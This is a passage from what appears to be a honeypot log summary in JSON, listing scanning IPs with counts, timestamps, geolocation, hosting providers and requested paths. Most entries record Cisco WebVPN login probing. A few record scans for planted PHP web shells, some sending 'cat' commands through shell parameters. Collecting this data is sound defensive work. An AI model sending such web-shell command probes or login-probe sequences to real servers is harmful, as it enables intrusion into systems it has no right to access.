        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.2.191.34": {
      "attack_count": 21,
      "first_seen": "2026-05-04T17:04:07.220Z",
      "last_seen": "2026-05-24T02:42:16.036Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "166.1.159.25": {
      "attack_count": 21,
      "first_seen": "2026-05-29T17:04:21.699Z",
      "last_seen": "2026-05-31T01:21:28.631Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.185.70": {
      "attack_count": 21,
      "first_seen": "2026-05-27T18:54:36.478Z",
      "last_seen": "2026-05-30T06:22:28.717Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "23.159.216.207": {
      "attack_count": 21,
      "first_seen": "2026-05-08T03:20:51.648Z",
      "last_seen": "2026-05-30T05:23:14.708Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "192.42.116.45": {
      "attack_count": 18,
      "first_seen": "2026-05-24T01:21:37.945Z",
      "last_seen": "2026-05-24T01:22:20.683Z",
      "ports": [],
      "event_types": [
        "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
        "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
        "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
        "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?config HTTP/1.1\" 404 -",
        "\"GET /admin/modules/admindashboard/phpsysinfo/1.php?czx HTTP/1.1\" 404 -",
        "\"GET /main.php.1?1e HTTP/1.1\" 404 -",
        "\"GET /main.php.1?1exx HTTP/1.1\" 404 -",
        "\"GET /main.php.2?1xxe HTTP/1.1\" 404 -",
        "\"GET /main.php?15t HTTP/1.1\" 404 -",
        "\"GET /main.php?24e HTTP/1.1\" 404 -",
        "\"GET /main.php?xqw HTTP/1.1\" 404 -",
        "\"GET /recordings/azoofo.php?p=evil@access&c=cat+azoofo.php&xx HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/AboSala7.php?asd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.118.24": {
      "attack_count": 18,
      "first_seen": "2026-05-11T10:23:28.018Z",
      "last_seen": "2026-05-25T22:14:09.498Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.23": {
      "attack_count": 18,
      "first_seen": "2026-05-17T01:46:25.064Z",
      "last_seen": "2026-05-27T16:11:35.922Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.67": {
      "attack_count": 18,
      "first_seen": "2026-05-06T04:10:26.311Z",
      "last_seen": "2026-05-31T03:34:15.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "165.154.11.121": {
      "attack_count": 16,
      "first_seen": "2026-05-04T18:37:27.107Z",
      "last_seen": "2026-05-04T18:38:19.677Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "103.251.26.207": {
      "attack_count": 15,
      "first_seen": "2026-05-20T18:10:37.911Z",
      "last_seen": "2026-05-30T08:56:53.206Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "173.249.254.76": {
      "attack_count": 15,
      "first_seen": "2026-05-03T02:28:37.753Z",
      "last_seen": "2026-05-11T11:10:10.727Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.159.216.24": {
      "attack_count": 15,
      "first_seen": "2026-05-04T18:50:18.214Z",
      "last_seen": "2026-05-16T08:40:55.724Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.108.73": {
      "attack_count": 15,
      "first_seen": "2026-05-07T10:34:23.519Z",
      "last_seen": "2026-05-23T09:17:49.197Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.150": {
      "attack_count": 15,
      "first_seen": "2026-05-14T04:31:14.799Z",
      "last_seen": "2026-05-29T06:12:03.701Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.29": {
      "attack_count": 15,
      "first_seen": "2026-05-06T02:02:13.045Z",
      "last_seen": "2026-05-24T01:08:10.394Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "64.62.156.108": {
      "attack_count": 15,
      "first_seen": "2026-05-29T07:57:09.211Z",
      "last_seen": "2026-05-29T08:03:46.869Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "138.249.204.87": {
      "attack_count": 14,
      "first_seen": "2026-05-27T16:51:15.410Z",
      "last_seen": "2026-05-29T14:09:39.856Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.246.207": {
      "attack_count": 14,
      "first_seen": "2026-05-26T04:00:08.407Z",
      "last_seen": "2026-05-27T13:11:37.103Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.1.245.205": {
      "attack_count": 14,
      "first_seen": "2026-05-27T10:04:10.465Z",
      "last_seen": "2026-05-30T04:38:16.276Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.158.23": {
      "attack_count": 14,
      "first_seen": "2026-05-27T05:05:15.485Z",
      "last_seen": "2026-05-30T04:05:16.012Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "45.128.124.151": {
      "attack_count": 14,
      "first_seen": "2026-05-26T09:30:50.633Z",
      "last_seen": "2026-05-27T12:30:53.131Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "80.73.242.116": {
      "attack_count": 14,
      "first_seen": "2026-05-26T04:35:07.665Z",
      "last_seen": "2026-05-27T04:35:47.935Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Franklin",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.81.231.24": {
      "attack_count": 12,
      "first_seen": "2026-05-16T05:32:55.577Z",
      "last_seen": "2026-05-20T11:23:48.292Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.161": {
      "attack_count": 12,
      "first_seen": "2026-05-03T14:52:16.326Z",
      "last_seen": "2026-05-14T12:38:46.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.104.76": {
      "attack_count": 12,
      "first_seen": "2026-05-03T09:48:22.547Z",
      "last_seen": "2026-05-26T01:16:46.992Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.76": {
      "attack_count": 12,
      "first_seen": "2026-05-09T13:17:40.128Z",
      "last_seen": "2026-05-25T20:39:38.200Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.150": {
      "attack_count": 12,
      "first_seen": "2026-05-04T22:34:17.927Z",
      "last_seen": "2026-05-23T05:26:20.907Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.206": {
      "attack_count": 12,
      "first_seen": "2026-05-04T12:14:12.235Z",
      "last_seen": "2026-05-16T06:59:15.476Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.39": {
      "attack_count": 12,
      "first_seen": "2026-05-04T10:25:32.177Z",
      "last_seen": "2026-05-27T11:59:55.808Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.79": {
      "attack_count": 12,
      "first_seen": "2026-05-19T01:03:06.548Z",
      "last_seen": "2026-05-27T13:32:44.060Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "43.225.189.145": {
      "attack_count": 12,
      "first_seen": "2026-05-09T01:19:09.586Z",
      "last_seen": "2026-05-25T21:10:36.205Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boston",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.102.247.24": {
      "attack_count": 9,
      "first_seen": "2026-05-25T15:28:16.729Z",
      "last_seen": "2026-05-27T12:50:07.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "142.147.89.219": {
      "attack_count": 9,
      "first_seen": "2026-05-10T08:10:28.133Z",
      "last_seen": "2026-05-14T07:52:23.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "23.234.90.80": {
      "attack_count": 9,
      "first_seen": "2026-05-05T02:42:37.627Z",
      "last_seen": "2026-05-27T03:15:01.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.150": {
      "attack_count": 9,
      "first_seen": "2026-05-05T01:44:32.391Z",
      "last_seen": "2026-05-08T18:59:59.207Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "109.205.62.252": {
      "attack_count": 7,
      "first_seen": "2026-05-29T07:29:00.472Z",
      "last_seen": "2026-05-29T07:29:12.732Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "136.234.242.78": {
      "attack_count": 7,
      "first_seen": "2026-05-30T07:34:51.352Z",
      "last_seen": "2026-05-30T07:35:06.155Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "141.133.50.22": {
      "attack_count": 7,
      "first_seen": "2026-05-29T12:32:42.766Z",
      "last_seen": "2026-05-29T12:32:56.268Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Elko",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.171.144": {
      "attack_count": 7,
      "first_seen": "2026-05-30T12:46:20.286Z",
      "last_seen": "2026-05-30T12:46:38.517Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "166.88.221.62": {
      "attack_count": 7,
      "first_seen": "2026-05-27T21:42:52.627Z",
      "last_seen": "2026-05-27T21:43:07.218Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.40.64": {
      "attack_count": 7,
      "first_seen": "2026-05-31T02:16:53.831Z",
      "last_seen": "2026-05-31T02:17:10.324Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "185.220.101.159": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:30:31.911Z",
      "last_seen": "2026-05-24T01:30:43.663Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
        "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
        "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /var/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/phpversions.php?npv HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "186.243.235.96": {
      "attack_count": 7,
      "first_seen": "2026-05-26T02:07:00.306Z",
      "last_seen": "2026-05-26T02:07:12.224Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gilboa",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.47": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:20:48.998Z",
      "last_seen": "2026-05-24T01:20:58.263Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
        "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
        "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
        "\"GET /recordings/shell-test.php?vr HTTP/1.1\" 404 -",
        "\"GET /test.php?wqe HTTP/1.1\" 404 -",
        "\"GET /wso.php?a&a HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "193.58.176.96": {
      "attack_count": 7,
      "first_seen": "2026-05-26T00:22:28.755Z",
      "last_seen": "2026-05-26T00:22:40.579Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bottineau",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.149.82.254": {
      "attack_count": 7,
